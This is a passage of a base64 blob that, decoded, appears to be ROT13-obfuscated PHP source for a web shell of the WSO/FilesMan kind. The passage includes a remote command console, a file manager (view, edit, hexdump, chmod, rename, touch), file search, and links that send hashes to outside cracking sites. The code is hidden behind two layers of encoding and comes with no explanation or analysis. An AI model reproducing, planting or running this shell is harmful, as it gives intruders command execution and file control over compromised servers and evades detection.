JCSdORlBWViBnYiBVUksnID0+ICduZnB2djJ1cmsnLAoJCSdVUksgZ2IgTkZQVlYnID0+ICd1cmsybmZwdnYnLAoJCSdVUksgZ2IgUVJQJyA9PiAndXJrcXJwJywKCQknVVJLIGdiIE9WQScgPT4gJ3VyazJvdmEnLAoJCSdRUlAgZ2IgVVJLJyA9PiAncXJwdXJrJywKCQknUVJQIGdiIE9WQScgPT4gJ3FycG92YScsCgkJJ09WQSBnYiBVUksnID0+ICdvdmF1cmsnLAoJCSdPVkEgZ2IgUVJQJyA9PiAnb3ZhcXJwJywKCQknRmdldmF0IGdiIHlianJlIHBuZnInID0+ICdmZ2VnYnlianJlJywKCQknRmdldmF0IGdiIGhjY3JlIHBuZnInID0+ICdmZ2VnYmhjY3JlJywKCQknVWd6eWZjcnB2bnlwdW5lZicgPT4gJ3VnenlmY3Jwdm55cHVuZWYnLAoJCSdGZ2V2YXQgeXJhdGd1JyA9PiAnZmdleXJhJywKCSk7Cgl2cyh2ZmZyZygkX0NCRkdbJ253bmsnXSkpIHsKCQlKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnLCBnZWhyKTsKCQlib19mZ25lZygpOwoJCXZzKHZhX25lZW5sKCRfQ0JGR1snYzEnXSwgJGZnZXZhdEdiYnlmKSkKCQkJcnB1YiAkX0NCRkdbJ2MxJ10oJF9DQkZHWydjMiddKTsKCQkkZ3J6YyA9ICJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZmdlQmhnY2hnJykuZmdseXIucXZmY3lubD0nJztxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZmdlQmhnY2hnJykudmFhcmVVR1pZPSciLm5xcXBmeW5mdXJmKHVnenlmY3Jwdm55cHVuZWYoYm9fdHJnX3B5cm5hKCkpLCJcYVxlXGdcXCdcMCIpLiInO1xhIjsKCQlycHViIGZnZXlyYSgkZ3J6YyksICJcYSIsICRncnpjOwoJCXJrdmc7Cgl9CiAgICB2cyhyemNnbCgkX0NCRkdbJ253bmsnXSkmJiFyemNnbCgkX0NCRkdbJ2MxJ10pKQoJCUpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nbnduaycsIDApOwoJamZiVXJucXJlKCk7CglycHViICc8dTE+RmdldmF0IHBiYWlyZWZ2YmFmPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+JzsKCXJwdWIgIjxzYmV6IGFuenI9J2diYnlmU2JleicgYmFGaG96dmc9J3ZzKGd1dmYubnduay5wdXJweHJxKXtuKGFoeXksYWh5eSxndXZmLmZyeXJwZ0diYnkuaW55aHIsZ3V2Zi52YWNoZy5pbnlocik7fXJ5ZnJ7dChhaHl5LGFoeXksZ3V2Zi5mcnlycGdHYmJ5LmlueWhyLGd1dmYudmFjaGcuaW55aHIpO30gZXJnaGVhIHNueWZyOyc+PGZyeXJwZyBhbnpyPSdmcnlycGdHYmJ5Jz4iOwoJc2Jlcm5wdSgkZmdldmF0R2JieWYgbmYgJHggPT4gJGkpCgkJcnB1YiAiPGJjZ3ZiYSBpbnlocj0nIi51Z3p5ZmNycHZueXB1bmVmKCRpKS4iJz4iLiR4LiI8L2JjZ3ZiYT4iOwoJCXJwdWIgIjwvZnJ5cnBnPjx2YWNoZyBnbGNyPSdmaG96dmcnIGlueWhyPSc+PicvPiA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAiLihAJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnXT8ncHVycHhycSc6JycpLiI+IGZyYXEgaGZ2YXQgTldOSzxvZT48Z3JrZ25lcm4gYW56cj0ndmFjaGcnIGZnbHlyPSd6bmV0dmEtZ2JjOjVjaycgcHluZmY9b3Z0bmVybj4iLihyemNnbCgkX0NCRkdbJ2MxJ10pPycnOnVnenlmY3Jwdm55cHVuZWYoQCRfQ0JGR1snYzInXSkpLiI8L2dya2duZXJuPjwvc2Jlej48Y2VyIHB5bmZmPSd6eTEnIGZnbHlyPSciLihyemNnbCgkX0NCRkdbJ2MxJ10pPydxdmZjeW5sOmFiYXI7JzonJykuInpuZXR2YS1nYmM6NWNrJyB2cT0nZmdlQmhnY2hnJz4iOwoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQl2cyh2YV9uZWVubCgkX0NCRkdbJ2MxJ10sICRmZ2V2YXRHYmJ5ZikpcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzEnXSgkX0NCRkdbJ2MyJ10pKTsKCX0KCXJwdWIiPC9jZXI+PC9xdmk+PG9lPjx1MT5Gcm5lcHUgc3Z5cmY6PC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CgkJPHNiZXogYmFmaG96dmc9XCJ0KGFoeXksZ3V2Zi5wanEuaW55aHIsYWh5eSxndXZmLmdya2cuaW55aHIsZ3V2Zi5zdnlyYW56ci5pbnlocik7ZXJnaGVhIHNueWZyO1wiPjxnbm95ciBwcnl5Y25xcXZhdD0nMScgcHJ5eWZjbnB2YXQ9JzAnIGp2cWd1PSc1MCUnPgoJCQk8Z2U+PGdxIGp2cWd1PScxJSc+R3JrZzo8L2dxPjxncT48dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0nZ3JrZycgZmdseXI9J2p2cWd1OjEwMCUnPjwvZ3E+PC9nZT4KCQkJPGdlPjxncT5Dbmd1OjwvZ3E+PGdxPjx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdwanEnIGlueWhyPSciLiB1Z3p5ZmNycHZueXB1bmVmKCRUWUJPTllGWydwanEnXSkgLiInIGZnbHlyPSdqdnFndToxMDAlJz48L2dxPjwvZ2U+CgkJCTxnZT48Z3E+QW56cjo8L2dxPjxncT48dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0nc3Z5cmFuenInIGlueWhyPScqJyBmZ2x5cj0nanZxZ3U6MTAwJSc+PC9ncT48L2dlPgoJCQk8Z2U+PGdxPjwvZ3E+PGdxPjx2YWNoZyBnbGNyPSdmaG96dmcnIGlueWhyPSc+Pic+PC9ncT48L2dlPgoJCQk8L2dub3lyPjwvc2Jlej4iOwoKCXNoYXBndmJhIGpmYkVycGhlZnZpclR5Ym8oJGNuZ3UpIHsKCQl2cyhmaG9mZ2UoJGNuZ3UsIC0xKSAhPSAnLycpCgkJCSRjbmd1Lj0nLyc7CgkJJGNuZ3VmID0gQG5lZW5sX2hhdmRocihAbmVlbmxfenJldHIoQHR5Ym8oJGNuZ3UuJF9DQkZHWydjMyddKSwgQHR5Ym8oJGNuZ3UuJyonLCBUWUJPX0JBWUxRVkUpKSk7CgkJdnModmZfbmVlbmwoJGNuZ3VmKSYmQHBiaGFnKCRjbmd1ZikpIHsKCQkJc2Jlcm5wdSgkY25ndWYgbmYgJHZncnopIHsKCQkJCXZzKEB2Zl9xdmUoJHZncnopKXsKCQkJCQl2cygkY25ndSE9JHZncnopCgkJCQkJCWpmYkVycGhlZnZpclR5Ym8oJHZncnopOwoJCQkJfSByeWZyIHsKCQkJCQl2cyhyemNnbCgkX0NCRkdbJ2MyJ10pIHx8IEBmZ2VjYmYoc3Z5cl90cmdfcGJhZ3JhZ2YoJHZncnopLCAkX0NCRkdbJ2MyJ10pIT09c255ZnIpCgkJCQkJCXJwdWIgIjxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZkdiYnlmXCIsYWh5eSxcIiIuaGV5cmFwYnFyKCR2Z3J6KS4iXCIsIFwiaXZyalwiLFwiXCIpJz4iLnVnenlmY3Jwdm55cHVuZWYoJHZncnopLiI8L24+PG9lPiI7CgkJCQl9CgkJCX0KCQl9Cgl9Cgl2cyhAJF9DQkZHWydjMyddKQoJCWpmYkVycGhlZnZpclR5Ym8oJF9DQkZHWydwJ10pOwoJcnB1YiAiPC9xdmk+PG9lPjx1MT5Gcm5lcHUgc2JlIHVuZnU6PC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CgkJPHNiZXogenJndWJxPSdjYmZnJyBnbmV0cmc9J19veW5heCcgYW56cj0ndXMnPgoJCQk8dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0ndW5mdScgZmdseXI9J2p2cWd1OjIwMGNrOyc+PG9lPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0ndXZxcXJhJyBhbnpyPSducGcnIGlueWhyPSdzdmFxJy8+CgkJCTx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSd1bmZ1cGVucHh2YXQuZWgnIGJhcHl2cHg9XCJxYnBoenJhZy51cy5ucGd2YmE9J3VnZ2NmOi8vdW5mdXBlbnB4dmF0LmVoL3ZhcXJrLmN1Yyc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CgkJCTx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSd6cTUuZXJxYWJ2bXIucGJ6JyBiYXB5dnB4PVwicWJwaHpyYWcudXMubnBndmJhPSd1Z2djOi8venE1LmVycWFidm1yLnBiei8/ZD0nK3FicGh6cmFnLnVzLnVuZnUuaW55aHIrJyZmPXpxNSc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSdwZW5weHNiZS56cicgYmFweXZweD1cInFicGh6cmFnLnVzLm5wZ3ZiYT0ndWdnYzovL3BlbnB4c2JlLnpyL3ZhcXJrLmN1Yyc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CgkJPC9zYmV6PjwvcXZpPiI7CglqZmJTYmJncmUoKTsKfQoKc2hhcGd2YmEgbnBndmJhU3Z5cmZHYmJ5ZigpIHsKCXZzKCB2ZmZyZygkX0NCRkdbJ2MxJ10pICkKCQkkX0NCRkdbJ2MxJ10gPSBoZXlxcnBicXIoJF9DQkZHWydjMSddKTsKCXZzKEAkX0NCRkdbJ2MyJ109PSdxYmpheWJucScpIHsKCQl2cyhAdmZfc3Z5cigkX0NCRkdbJ2MxJ10pICYmIEB2Zl9lcm5xbm95cigkX0NCRkdbJ2MxJ10pKSB7CgkJCWJvX2ZnbmVnKCJib190bXVuYXF5cmUiLCA0MDk2KTsKCQkJdXJucXJlKCJQYmFncmFnLVF2ZmNiZnZndmJhOiBuZ2ducHV6cmFnOyBzdnlyYW56cj0iLm9uZnJhbnpyKCRfQ0JGR1snYzEnXSkpOwoJCQl2cyAoc2hhcGd2YmFfcmt2ZmdmKCJ6dnpyX3BiYWdyYWdfZ2xjciIpKSB7CgkJCQkkZ2xjciA9IEB6dnpyX3BiYWdyYWdfZ2xjcigkX0NCRkdbJ2MxJ10pOwoJCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6ICIgLiAkZ2xjcik7CgkJCX0gcnlmcgogICAgICAgICAgICAgICAgdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL2JwZ3JnLWZnZXJueiIpOwoJCQkkc2MgPSBAc2JjcmEoJF9DQkZHWydjMSddLCAiZSIpOwoJCQl2cygkc2MpIHsKCQkJCWp1dnlyKCFAc3Jicygkc2MpKQoJCQkJCXJwdWIgQHNlcm5xKCRzYywgMTAyNCk7CgkJCQlzcHliZnIoJHNjKTsKCQkJfQoJCX1ya3ZnOwoJfQoJdnMoIEAkX0NCRkdbJ2MyJ10gPT0gJ3p4c3Z5cicgKSB7CgkJdnMoIXN2eXJfcmt2ZmdmKCRfQ0JGR1snYzEnXSkpIHsKCQkJJHNjID0gQHNiY3JhKCRfQ0JGR1snYzEnXSwgJ2onKTsKCQkJdnMoJHNjKSB7CgkJCQkkX0NCRkdbJ2MyJ10gPSAicnF2ZyI7CgkJCQlzcHliZnIoJHNjKTsKCQkJfQoJCX0KCX0KCWpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPlN2eXIgZ2JieWY8L3UxPjxxdmkgcHluZmY9cGJhZ3JhZz4nOwoJdnMoICFzdnlyX3JrdmZnZihAJF9DQkZHWydjMSddKSApIHsKCQlycHViICdTdnlyIGFiZyBya3ZmZ2YnOwoJCWpmYlNiYmdyZSgpOwoJCWVyZ2hlYTsKCX0KCSRodnEgPSBAY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgkX0NCRkdbJ2MxJ10pKTsKCXZzKCEkaHZxKSB7CgkJJGh2cVsnYW56ciddID0gQHN2eXJiamFyZSgkX0NCRkdbJ2MxJ10pOwoJCSR0dnFbJ2FuenInXSA9IEBzdnlydGViaGMoJF9DQkZHWydjMSddKTsKCX0gcnlmciAkdHZxID0gQGNiZnZrX3RyZ3RldHZxKEBzdnlydGViaGMoJF9DQkZHWydjMSddKSk7CglycHViICc8ZmNuYT5BbnpyOjwvZmNuYT4gJy51Z3p5ZmNycHZueXB1bmVmKEBvbmZyYW56cigkX0NCRkdbJ2MxJ10pKS4nIDxmY25hPkZ2bXI6PC9mY25hPiAnLih2Zl9zdnlyKCRfQ0JGR1snYzEnXSk/amZiSXZyakZ2bXIoc3Z5cmZ2bXIoJF9DQkZHWydjMSddKSk6Jy0nKS4nIDxmY25hPkNyZXp2ZmZ2YmE6PC9mY25hPiAnLmpmYkNyZXpmUGJ5YmUoJF9DQkZHWydjMSddKS4nIDxmY25hPkJqYXJlL1RlYmhjOjwvZmNuYT4gJy4kaHZxWydhbnpyJ10uJy8nLiR0dnFbJ2FuenInXS4nPG9lPic7CglycHViICc8ZmNuYT5QdW5hdHIgZ3Z6cjo8L2ZjbmE+ICcucW5ncignTC16LXEgVTp2OmYnLHN2eXJwZ3Z6cigkX0NCRkdbJ2MxJ10pKS4nIDxmY25hPk5wcHJmZiBndnpyOjwvZmNuYT4gJy5xbmdyKCdMLXotcSBVOnY6Zicsc3Z5cm5ndnpyKCRfQ0JGR1snYzEnXSkpLicgPGZjbmE+WmJxdnNsIGd2enI6PC9mY25hPiAnLnFuZ3IoJ0wtei1xIFU6djpmJyxzdnlyemd2enIoJF9DQkZHWydjMSddKSkuJzxvZT48b2U+JzsKCXZzKCByemNnbCgkX0NCRkdbJ2MyJ10pICkKCQkkX0NCRkdbJ2MyJ10gPSAnaXZyaic7Cgl2cyggdmZfc3Z5cigkX0NCRkdbJ2MxJ10pICkKCQkkeiA9IG5lZW5sKCdJdnJqJywgJ1V2dHV5dnR1ZycsICdRYmpheWJucScsICdVcmtxaHpjJywgJ1JxdmcnLCAnUHV6YnEnLCAnRXJhbnpyJywgJ0diaHB1Jyk7CglyeWZyCgkJJHogPSBuZWVubCgnUHV6YnEnLCAnRXJhbnpyJywgJ0diaHB1Jyk7CglzYmVybnB1KCR6IG5mICRpKQoJCXJwdWIgJzxuIHVlcnM9IyBiYXB5dnB4PSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxcJycuZmdlZ2J5YmpyZSgkaSkuJ1wnKSI+Jy4oKGZnZWdieWJqcmUoJGkpPT1AJF9DQkZHWydjMiddKT8nPG8+WyAnLiRpLicgXTwvbz4nOiRpKS4nPC9uPiAnOwoJcnB1YiAnPG9lPjxvZT4nOwoJZmp2Z3B1KCRfQ0JGR1snYzInXSkgewoJCXBuZnIgJ2l2cmonOgoJCQlycHViICc8Y2VyIHB5bmZmPXp5MT4nOwoJCQkkc2MgPSBAc2JjcmEoJF9DQkZHWydjMSddLCAnZScpOwoJCQl2cygkc2MpIHsKCQkJCWp1dnlyKCAhQHNyYnMoJHNjKSApCgkJCQkJcnB1YiB1Z3p5ZmNycHZueXB1bmVmKEBzZXJucSgkc2MsIDEwMjQpKTsKCQkJCUBzcHliZnIoJHNjKTsKCQkJfQoJCQlycHViICc8L2Nlcj4nOwoJCQlvZXJueDsKCQlwbmZyICd1dnR1eXZ0dWcnOgoJCQl2cyggQHZmX2VybnFub3lyKCRfQ0JGR1snYzEnXSkgKSB7CgkJCQlycHViICc8cXZpIHB5bmZmPXp5MSBmZ2x5cj0ib25weHRlYmhhcS1wYnliZTogI3IxcjFyMTtwYnliZTpveW5weDsiPic7CgkJCQkkcGJxciA9IEB1dnR1eXZ0dWdfc3Z5cigkX0NCRkdbJ2MxJ10sZ2Vocik7CgkJCQlycHViIGZnZV9lcmN5bnByKG5lZW5sKCc8ZmNuYSAnLCc8L2ZjbmE+JyksIG5lZW5sKCc8c2JhZyAnLCc8L3NiYWc+JyksJHBicXIpLic8L3F2aT4nOwoJCQl9CgkJCW9lcm54OwoJCXBuZnIgJ3B1emJxJzoKCQkJdnMoICFyemNnbCgkX0NCRkdbJ2MzJ10pICkgewoJCQkJJGNyZXpmID0gMDsKCQkJCXNiZSgkdj1mZ2V5cmEoJF9DQkZHWydjMyddKS0xOyR2Pj0wOy0tJHYpCgkJCQkJJGNyZXpmICs9ICh2YWcpJF9DQkZHWydjMyddWyR2XSpjYmooOCwgKGZnZXlyYSgkX0NCRkdbJ2MzJ10pLSR2LTEpKTsKCQkJCXZzKCFAcHV6YnEoJF9DQkZHWydjMSddLCAkY3JlemYpKQoJCQkJCXJwdWIgJ1BuYVwnZyBmcmcgY3JlenZmZnZiYWYhPG9lPjxmcGV2Y2c+cWJwaHpyYWcuenMuYzMuaW55aHI9IiI7PC9mcGV2Y2c+JzsKCQkJfQoJCQlweXJuZWZnbmdwbnB1cigpOwoJCQlycHViICc8ZnBldmNnPmMzXz0iIjs8L2ZwZXZjZz48c2JleiBiYWZob3p2Zz0idChhaHl5LGFoeXksXCcnIC4gaGV5cmFwYnFyKCRfQ0JGR1snYzEnXSkgLiAnXCcsYWh5eSxndXZmLnB1emJxLmlueWhyKTtlcmdoZWEgc255ZnI7Ij48dmFjaGcgZ2xjcj1ncmtnIGFuenI9cHV6YnEgaW55aHI9IicuZmhvZmdlKGZjZXZhZ3MoJyViJywgc3Z5cmNyZXpmKCRfQ0JGR1snYzEnXSkpLC00KS4nIj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKCQkJb2Vybng7CgkJcG5mciAncnF2Zyc6CgkJCXZzKCAhdmZfamV2Z25veXIoJF9DQkZHWydjMSddKSkgewoJCQkJcnB1YiAnU3Z5ciB2ZmFcJ2cgamV2Z3Jub3lyJzsKCQkJCW9lcm54OwoJCQl9CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCSRndnpyID0gQHN2eXJ6Z3Z6cigkX0NCRkdbJ2MxJ10pOwoJCQkJJF9DQkZHWydjMyddID0gZmhvZmdlKCRfQ0JGR1snYzMnXSwxKTsKCQkJCSRzYyA9IEBzYmNyYSgkX0NCRkdbJ2MxJ10sImoiKTsKCQkJCXZzKCRzYykgewoJCQkJCUBzamV2Z3IoJHNjLCRfQ0JGR1snYzMnXSk7CgkJCQkJQHNweWJmcigkc2MpOwoJCQkJCXJwdWIgJ0ZuaXJxITxvZT48ZnBldmNnPmMzXz0iIjs8L2ZwZXZjZz4nOwoJCQkJCUBnYmhwdSgkX0NCRkdbJ2MxJ10sJGd2enIsJGd2enIpOwoJCQkJfQoJCQl9CgkJCXJwdWIgJzxzYmV6IGJhZmhvenZnPSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxhaHl5LFwnMVwnK2d1dmYuZ3JrZy5pbnlocik7ZXJnaGVhIHNueWZyOyI+PGdya2duZXJuIGFuenI9Z3JrZyBweW5mZj1vdnRuZXJuPic7CgkJCSRzYyA9IEBzYmNyYSgkX0NCRkdbJ2MxJ10sICdlJyk7CgkJCXZzKCRzYykgewoJCQkJanV2eXIoICFAc3Jicygkc2MpICkKCQkJCQlycHViIHVnenlmY3Jwdm55cHVuZWYoQHNlcm5xKCRzYywgMTAyNCkpOwoJCQkJQHNweWJmcigkc2MpOwoJCQl9CgkJCXJwdWIgJzwvZ3JrZ25lcm4+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSI+PiI+PC9zYmV6Pic7CgkJCW9lcm54OwoJCXBuZnIgJ3Vya3FoemMnOgoJCQkkcCA9IEBzdnlyX3RyZ19wYmFncmFnZigkX0NCRkdbJ2MxJ10pOwoJCQkkYSA9IDA7CgkJCSR1ID0gbmVlbmwoJzAwMDAwMDAwPG9lPicsJycsJycpOwoJCQkkeXJhID0gZmdleXJhKCRwKTsKCQkJc2JlICgkdj0wOyAkdjwkeXJhOyArKyR2KSB7CgkJCQkkdVsxXSAuPSBmY2V2YWdzKCclMDJLJyxiZXEoJHBbJHZdKSkuJyAnOwoJCQkJZmp2Z3B1ICggYmVxKCRwWyR2XSkgKSB7CgkJCQkJcG5mciAwOiAgJHVbMl0gLj0gJyAnOyBvZXJueDsKCQkJCQlwbmZyIDk6ICAkdVsyXSAuPSAnICc7IG9lcm54OwoJCQkJCXBuZnIgMTA6ICR1WzJdIC49ICcgJzsgb2Vybng7CgkJCQkJcG5mciAxMzogJHVbMl0gLj0gJyAnOyBvZXJueDsKCQkJCQlxcnNuaHlnOiAkdVsyXSAuPSAkcFskdl07IG9lcm54OwoJCQkJfQoJCQkJJGErKzsKCQkJCXZzICgkYSA9PSAzMikgewoJCQkJCSRhID0gMDsKCQkJCQl2cyAoJHYrMSA8ICR5cmEpIHskdVswXSAuPSBmY2V2YWdzKCclMDhLJywkdisxKS4nPG9lPic7fQoJCQkJCSR1WzFdIC49ICc8b2U+JzsKCQkJCQkkdVsyXSAuPSAiXGEiOwoJCQkJfQoJCSAJfQoJCQlycHViICc8Z25veXIgcHJ5eWZjbnB2YXQ9MSBwcnl5Y25xcXZhdD01IG90cGJ5YmU9IzIyMjIyMj48Z2U+PGdxIG90cGJ5YmU9IzMzMzMzMz48ZmNuYSBmZ2x5cj0ic2JhZy1qcnZ0dWc6IGFiZXpueTsiPjxjZXI+Jy4kdVswXS4nPC9jZXI+PC9mY25hPjwvZ3E+PGdxIG90cGJ5YmU9IzI4MjgyOD48Y2VyPicuJHVbMV0uJzwvY2VyPjwvZ3E+PGdxIG90cGJ5YmU9IzMzMzMzMz48Y2VyPicudWd6eWZjcnB2bnlwdW5lZigkdVsyXSkuJzwvY2VyPjwvZ3E+PC9nZT48L2dub3lyPic7CgkJCW9lcm54OwoJCXBuZnIgJ2VyYW56cic6CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCXZzKCFAZXJhbnpyKCRfQ0JGR1snYzEnXSwgJF9DQkZHWydjMyddKSkKCQkJCQlycHViICdQbmFcJ2cgZXJhbnpyITxvZT4nOwoJCQkJcnlmcgoJCQkJCXF2cignPGZwZXZjZz50KGFoeXksYWh5eSwiJy5oZXlyYXBicXIoJF9DQkZHWydjMyddKS4nIixhaHl5LCIiKTwvZnBldmNnPicpOwoJCQl9CgkJCXJwdWIgJzxzYmV6IGJhZmhvenZnPSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxhaHl5LGd1dmYuYW56ci5pbnlocik7ZXJnaGVhIHNueWZyOyI+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWFuenIgaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2MxJ10pLiciPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0iPj4iPjwvc2Jlej4nOwoJCQlvZXJueDsKCQlwbmZyICdnYmhwdSc6CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCSRndnpyID0gZmdlZ2JndnpyKCRfQ0JGR1snYzMnXSk7CgkJCQl2cygkZ3Z6cikgewoJCQkJCXZzKCFnYmhwdSgkX0NCRkdbJ2MxJ10sJGd2enIsJGd2enIpKQoJCQkJCQlycHViICdTbnZ5ISc7CgkJCQkJcnlmcgoJCQkJCQlycHViICdHYmhwdXJxISc7CgkJCQl9IHJ5ZnIgcnB1YiAnT25xIGd2enIgc2Jlem5nISc7CgkJCX0KCQkJcHlybmVmZ25ncG5wdXIoKTsKCQkJcnB1YiAnPGZwZXZjZz5jM189IiI7PC9mcGV2Y2c+PHNiZXogYmFmaG96dmc9InQoYWh5eSxhaHl5LFwnJyAuIGhleXJhcGJxcigkX0NCRkdbJ2MxJ10pIC4gJ1wnLGFoeXksZ3V2Zi5nYmhwdS5pbnlocik7ZXJnaGVhIHNueWZyOyI+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWdiaHB1IGlueWhyPSInLnFuZ3IoIkwtei1xIFU6djpmIiwgQHN2eXJ6Z3Z6cigkX0NCRkdbJ2MxJ10pKS4nIj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKCQkJb2Vybng7Cgl9CglycHViICc8L3F2aT4nOwoJamZiU2JiZ3JlKCk7Cn0KCnNoYXBndmJhIG5wZ3ZiYVBiYWZieXIoKSB7CiAgICB2cyghcnpjZ2woJF9DQkZHWydjMSddKSAmJiAhcnpjZ2woJF9DQkZHWydjMiddKSkgewogICAgICAgIEpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nZmdxcmVlX2diX2JoZycsIGdlaHIpOwogICAgICAgICRfQ0JGR1snYzEnXSAuPSAnIDI+JjEnOwogICAgfSByeWZydnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpCiAgICAgICAgSkZCZnJncGJieHZyKHpxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidmZ3FyZWVfZ2JfYmhnJywgMCk7CgoJdnModmZmcmcoJF9DQkZHWydud25rJ10pKSB7CgkJSkZCZnJncGJieHZyKHpxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidud25rJywgZ2Vocik7CgkJYm9fZmduZWcoKTsKCQlycHViICJxLnBzLnB6cS5pbnlocj0nJztcYSI7CgkJJGdyemMgPSBAdnBiYWkoJF9DQkZHWydwdW5lZnJnJ10sICdIR1MtOCcsIG5xcXBmeW5mdXJmKCJcYSQgIi4kX0NCRkdbJ2MxJ10uIlxhIi5qZmJSaygkX0NCRkdbJ2MxJ10pLCJcYVxlXGdcXCdcMCIpKTsKCQl2cyhjZXJ0X3puZ3B1KCIhLipwcVxmKyhbXjtdKykkISIsJF9DQkZHWydjMSddLCR6bmdwdSkpCXsKCQkJdnMoQHB1cXZlKCR6bmdwdVsxXSkpIHsKCQkJCSRUWUJPTllGWydwanEnXSA9IEB0cmdwanEoKTsKCQkJCXJwdWIgInBfPSciLiRUWUJPTllGWydwanEnXS4iJzsiOwoJCQl9CgkJfQoJCXJwdWIgInEucHMuYmhnY2hnLmlueWhyKz0nIi4kZ3J6Yy4iJzsiOwoJCXJwdWIgInEucHMuYmhnY2hnLmZwZWJ5eUdiYyA9IHEucHMuYmhnY2hnLmZwZWJ5eVVydnR1ZzsiOwoJCSRncnpjID0gYm9fdHJnX3B5cm5hKCk7CgkJcnB1YiBmZ2V5cmEoJGdyemMpLCAiXGEiLCAkZ3J6YzsKCQlya3ZnOwoJfQogICAgdnMocnpjZ2woJF9DQkZHWydud25rJ10pJiYhcnpjZ2woJF9DQkZHWydjMSddKSkKCQlKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnLCAwKTsKCWpmYlVybnFyZSgpOwogICAgcnB1YiAiPGZwZXZjZz4KdnMoanZhcWJqLlJpcmFnKSBqdmFxYmoucG5jZ2hlclJpcmFnZihSaXJhZy5YUkxRQkpBKTsKaW5lIHB6cWYgPSBhcmogTmVlbmwoJycpOwppbmUgcGhlID0gMDsKc2hhcGd2YmEgeGMocikgewoJaW5lIGEgPSAoanZhcWJqLlJpcmFnKSA/IHIuanV2cHUgOiByLnhybFBicXI7Cgl2cyhhID09IDM4KSB7CgkJcGhlLS07CgkJdnMocGhlPj0wKQoJCQlxYnBoenJhZy5wcy5wenEuaW55aHIgPSBwenFmW3BoZV07CgkJcnlmcgoJCQlwaGUrKzsKCX0gcnlmciB2cyhhID09IDQwKSB7CgkJcGhlKys7CgkJdnMocGhlIDwgcHpxZi55cmF0Z3UpCgkJCXFicGh6cmFnLnBzLnB6cS5pbnlociA9IHB6cWZbcGhlXTsKCQlyeWZyCgkJCXBoZS0tOwoJfQp9CnNoYXBndmJhIG5xcShwenEpIHsKCXB6cWYuY2JjKCk7CglwenFmLmNoZnUocHpxKTsKCXB6cWYuY2hmdSgnJyk7CglwaGUgPSBwenFmLnlyYXRndS0xOwp9CjwvZnBldmNnPiI7CglycHViICc8dTE+UGJhZmJ5cjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxzYmV6IGFuenI9cHMgYmFmaG96dmc9InZzKHEucHMucHpxLmlueWhyPT1cJ3B5cm5lXCcpe3EucHMuYmhnY2hnLmlueWhyPVwnXCc7cS5wcy5wenEuaW55aHI9XCdcJztlcmdoZWEgc255ZnI7fW5xcShndXZmLnB6cS5pbnlocik7dnMoZ3V2Zi5ud25rLnB1cnB4cnEpe24oYWh5eSxhaHl5LGd1dmYucHpxLmlueWhyLGd1dmYuZnVial9yZWViZWYucHVycHhycT8xOlwnXCcpO31yeWZye3QoYWh5eSxhaHl5LGd1dmYucHpxLmlueWhyLGd1dmYuZnVial9yZWViZWYucHVycHhycT8xOlwnXCcpO30gZXJnaGVhIHNueWZyOyI+PGZyeXJwZyBhbnpyPW55dm5mPic7CglzYmVybnB1KCRUWUJPTllGWydueXZuZnJmJ10gbmYgJGEgPT4gJGkpIHsKCQl2cygkaSA9PSAnJykgewoJCQlycHViICc8YmNndGViaGMgeW5vcnk9Ii0nLnVnenlmY3Jwdm55cHVuZWYoJGEpLictIj48L2JjZ3RlYmhjPic7CgkJCXBiYWd2YWhyOw